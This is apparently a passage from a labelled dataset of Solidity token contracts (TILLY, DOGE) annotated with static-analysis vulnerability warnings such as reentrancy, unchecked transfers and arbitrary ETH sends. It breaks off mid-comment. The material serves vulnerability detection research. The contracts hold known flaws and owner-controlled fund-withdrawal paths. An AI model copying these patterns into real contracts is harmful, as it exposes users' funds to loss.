isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1fa2acb): TILLY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1fa2acb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 353087d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 353087d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4cd146a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4cd146a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 353087d\n\t\t// reentrancy-benign | ID: 4cd146a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 353087d\n\t\t// reentrancy-benign | ID: 4cd146a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f341896): TILLY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f341896: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4cd146a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 353087d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e4b3f06): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e4b3f06: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 18cbafb): TILLY._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 18cbafb: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0b47c30): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0b47c30: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 00b0b09): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 00b0b09: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 18cbafb\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: e4b3f06\n\t\t\t\t// reentrancy-eth | ID: 0b47c30\n\t\t\t\t// reentrancy-eth | ID: 00b0b09\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e4b3f06\n\t\t\t\t\t// reentrancy-eth | ID: 0b47c30\n\t\t\t\t\t// reentrancy-eth | ID: 00b0b09\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 00b0b09\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 00b0b09\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: e4b3f06\n\t\t\t\t// reentrancy-eth | ID: 0b47c30\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e4b3f06\n\t\t\t\t\t// reentrancy-eth | ID: 0b47c30\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0b47c30\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e4b3f06\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0b47c30\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0b47c30\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e4b3f06\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e4b3f06\n\t\t// reentrancy-events | ID: 353087d\n\t\t// reentrancy-benign | ID: 4cd146a\n\t\t// reentrancy-eth | ID: 0b47c30\n\t\t// reentrancy-eth | ID: 00b0b09\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 98abf92): TILLY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 98abf92: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e4b3f06\n\t\t// reentrancy-events | ID: 353087d\n\t\t// reentrancy-eth | ID: 0b47c30\n\t\t// reentrancy-eth | ID: 00b0b09\n\t\t// arbitrary-send-eth | ID: 98abf92\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 9594039): TILLY.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 9594039: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 9594039\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: baedf8c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for baedf8c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e242d0a): TILLY.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e242d0a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7bd3793): TILLY.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7bd3793: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fa07b03): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fa07b03: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: baedf8c\n\t\t// unused-return | ID: 7bd3793\n\t\t// reentrancy-eth | ID: fa07b03\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: baedf8c\n\t\t// unused-return | ID: e242d0a\n\t\t// reentrancy-eth | ID: fa07b03\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: baedf8c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: fa07b03\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: baedf8c\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10274.sol", "size_bytes": 23064, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IToken {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary MathLib {\n function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"MathLib: addition overflow\");\n\n return c;\n }\n\n function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {\n return safeSub(a, b, \"MathLib: subtraction overflow\");\n }\n\n function safeSub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"MathLib: multiplication overflow\");\n\n return c;\n }\n\n function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return safeDiv(a, b, \"MathLib: division by zero\");\n }\n\n function safeDiv(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipChanged(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipChanged(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipChanged(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipChanged(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapRouter {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DOGE is Context, IToken, Ownable {\n using MathLib for uint256;\n\n mapping(address => uint256) private balances;\n\n mapping(address => mapping(address => uint256)) private allowances;\n\n mapping(address => bool) private noLimits;\n\n mapping(uint256 => uint256) private counts_OfBuyTxn;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ab873bb): DOGE.addrTaxWallet should be immutable \n\t// Recommendation for ab873bb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private addrTaxWallet;\n\n uint256 private firstBlock = 0;\n uint256 private _buyCount = 0;\n\n uint256 private _sellCount = 0;\n uint256 private lastSellBlock = 0;\n\n uint8 private constant DECIMALS = 9;\n\n uint256 private constant TOTAL_SUPPLY = 420690000000 * 10 ** DECIMALS;\n\n string private constant NAME = unicode\"Do Only Good Everyday\";\n\n string private constant SYMBOL = unicode\"DOGE\";\n\n uint256 public _maxTxnAmt = 4206900000 * 10 ** DECIMALS;\n\n uint256 public _maxWalletSize = 4206900000 * 10 ** DECIMALS;\n\n\t// WARNING Optimization Issue (constable-states | ID: af24c9e): DOGE._taxSwapThreshold should be constant \n\t// Recommendation for af24c9e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** DECIMALS;\n\n uint256 public _maxTaxSwap = 4206900000 * 10 ** DECIMALS;\n\n IUniswapRouter private uniswapRouter;\n\n address public uniswapPair;\n\n bool private isTradingOpen;\n\n uint256 public caLimitNbr = 4;\n\n bool private isSwapping = false;\n\n bool private swapEnabled = false;\n\n bool public _t_CaSwap = true;\n\n event MaxTransactionAmountUpdated(uint256 maxTransactionAmount);\n\n modifier swapLock() {\n isSwapping = true;\n\n _;\n\n isSwapping = false;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ef1db3): DOGE._initialBuyTax should be constant \n\t// Recommendation for 7ef1db3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f0c495e): DOGE._initialSellTax should be constant \n\t// Recommendation for f0c495e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7cbcaf): DOGE._finalBuyTax should be constant \n\t// Recommendation for e7cbcaf: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c373476): DOGE._finalSellTax should be constant \n\t// Recommendation for c373476: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d4dbed): DOGE._reduceBuyTaxAt should be constant \n\t// Recommendation for 3d4dbed: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b88eaf4): DOGE._reduceSellTaxAt should be constant \n\t// Recommendation for b88eaf4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad6b8b5): DOGE._preventSwapBefore should be constant \n\t// Recommendation for ad6b8b5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n constructor() {\n addrTaxWallet = payable(owner());\n\n balances[_msgSender()] = TOTAL_SUPPLY;\n\n noLimits[owner()] = true;\n\n noLimits[address(this)] = true;\n\n noLimits[address(uniswapPair)] = true;\n\n emit Transfer(address(0), _msgSender(), TOTAL_SUPPLY);\n }\n\n function name() public pure returns (string memory) {\n return NAME;\n }\n\n function symbol() public pure returns (string memory) {\n return SYMBOL;\n }\n\n function decimals() public pure returns (uint8) {\n return DECIMALS;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return TOTAL_SUPPLY;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 389d2a7): DOGE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 389d2a7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _setApproval(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3e4e193): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3e4e193: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c91e671): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c91e671: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3e4e193\n\t\t// reentrancy-benign | ID: c91e671\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3e4e193\n\t\t// reentrancy-benign | ID: c91e671\n _setApproval(\n sender,\n _msgSender(),\n allowances[sender][_msgSender()].safeSub(\n amount,\n \"transfer exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 81edf27): DOGE._setApproval(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 81edf27: Rename the local variables that shadow another component.\n function _setApproval(\n address owner,\n address spender,\n uint256 amount\n ) private {\n require(owner != address(0), \"approve from zero address\");\n\n require(spender != address(0), \"approve to zero address\");\n\n\t\t// reentrancy-benign | ID: c91e671\n allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3e4e193\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: efcfb3b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for efcfb3b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 022da55): DOGE._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 022da55: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 663eaa3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 663eaa3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ccbb175): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ccbb175: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"transfer from zero address\");\n\n require(to != address(0), \"transfer to zero address\");\n\n require(amount > 0, \"transfer amount must be greater than zero\");\n\n uint256 _taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n _taxAmount = amount\n .safeMul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .safeDiv(100);\n\n\t\t\t// incorrect-equality | ID: 022da55\n if (block.number == firstBlock) {\n require(\n counts_OfBuyTxn[block.number] < 40,\n \"exceeds buy limit for initial block.\"\n );\n\n counts_OfBuyTxn[block.number]++;\n }\n\n if (\n from == uniswapPair &&\n to != address(uniswapRouter) &&\n !noLimits[to]\n ) {\n require(\n amount <= _maxTxnAmt,\n \"exceeds max transaction amount.\"\n );\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"exceeds max wallet size.\"\n );\n\n _buyCount++;\n }\n\n if (to != uniswapPair && !noLimits[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"exceeds max wallet size.\"\n );\n }\n\n if (to == uniswapPair && from != address(this)) {\n _taxAmount = amount\n .safeMul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .safeDiv(100);\n }\n\n if (\n from != uniswapPair &&\n to != uniswapPair &&\n from != address(this)\n ) {\n _taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n _t_CaSwap &&\n !isSwapping &&\n to == uniswapPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n _sellCount = 0;\n }\n\n require(\n _sellCount < caLimitNbr,\n \"CA balance sell limit reached\"\n );\n\n\t\t\t\t// reentrancy-events | ID: efcfb3b\n\t\t\t\t// reentrancy-eth | ID: 663eaa3\n\t\t\t\t// reentrancy-eth | ID: ccbb175\n _swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: efcfb3b\n\t\t\t\t\t// reentrancy-eth | ID: 663eaa3\n\t\t\t\t\t// reentrancy-eth | ID: ccbb175\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ccbb175\n _sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ccbb175\n lastSellBlock = block.number;\n } else if (\n !isSwapping &&\n to == uniswapPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: efcfb3b\n\t\t\t\t// reentrancy-eth | ID: 663eaa3\n _swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: efcfb3b\n\t\t\t\t\t// reentrancy-eth | ID: 663eaa3\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (_taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 663eaa3\n balances[address(this)] = balances[address(this)].safeAdd(\n _taxAmount\n );\n\n\t\t\t// reentrancy-events | ID: efcfb3b\n emit Transfer(from, address(this), _taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 663eaa3\n balances[from] = balances[from].safeSub(amount);\n\n\t\t// reentrancy-eth | ID: 663eaa3\n balances[to] = balances[to].safeAdd(amount.safeSub(_taxAmount));\n\n\t\t// reentrancy-events | ID: efcfb3b\n emit Transfer(from, to, amount.safeSub(_taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function _swapTokensForEth(uint256 tokenAmount) private swapLock {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapRouter.WETH();\n\n _setApproval(address(this), address(uniswapRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: efcfb3b\n\t\t// reentrancy-events | ID: 3e4e193\n\t\t// reentrancy-benign | ID: c91e671\n\t\t// reentrancy-eth | ID: 663eaa3\n\t\t// reentrancy-eth | ID: ccbb175\n uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ce5b989): DOGE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls addrTaxWallet.transfer(amount)\n\t// Recommendation for ce5b989: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: efcfb3b\n\t\t// reentrancy-events | ID: 3e4e193\n\t\t// reentrancy-eth | ID: 663eaa3\n\t\t// reentrancy-eth | ID: ccbb175\n\t\t// arbitrary-send-eth | ID: ce5b989\n addrTaxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7d70acf): DOGE.setMaxTaxSwap(bool,uint256,bool,uint256) should emit an event for _maxTaxSwap = amount caLimitNbr = _amount \n\t// Recommendation for 7d70acf: Emit an event for critical parameter changes.\n function setMaxTaxSwap(\n bool enable,\n uint256 amount,\n bool _enable,\n uint256 _amount\n ) external onlyOwner {\n swapEnabled = enable;\n\n\t\t// events-maths | ID: 7d70acf\n _maxTaxSwap = amount;\n\n _t_CaSwap = _enable;\n\n\t\t// events-maths | ID: 7d70acf\n caLimitNbr = _amount;\n }\n\n function rescueStuckETH() external onlyOwner {\n payable(addrTaxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1b7ce16): DOGE.rescueUnknownERC20Tokens(address,uint256) ignores return value by IToken(tokenAddr).transfer(addrTaxWallet,amount)\n\t// Recommendation for 1b7ce16: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueUnknownERC20Tokens(\n address tokenAddr,\n uint amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: 1b7ce16\n IToken(tokenAddr).transfer(addrTaxWallet, amount);\n }\n\n function freeLimits() external onlyOwner {\n _maxTxnAmt = TOTAL_SUPPLY;\n\n _maxWalletSize = TOTAL_SUPPLY;\n\n emit MaxTransactionAmountUpdated(TOTAL_SUPPLY);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bf7a02a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bf7a02a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 470feb0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 470feb0: Apply the check-effects-interactions pattern (see 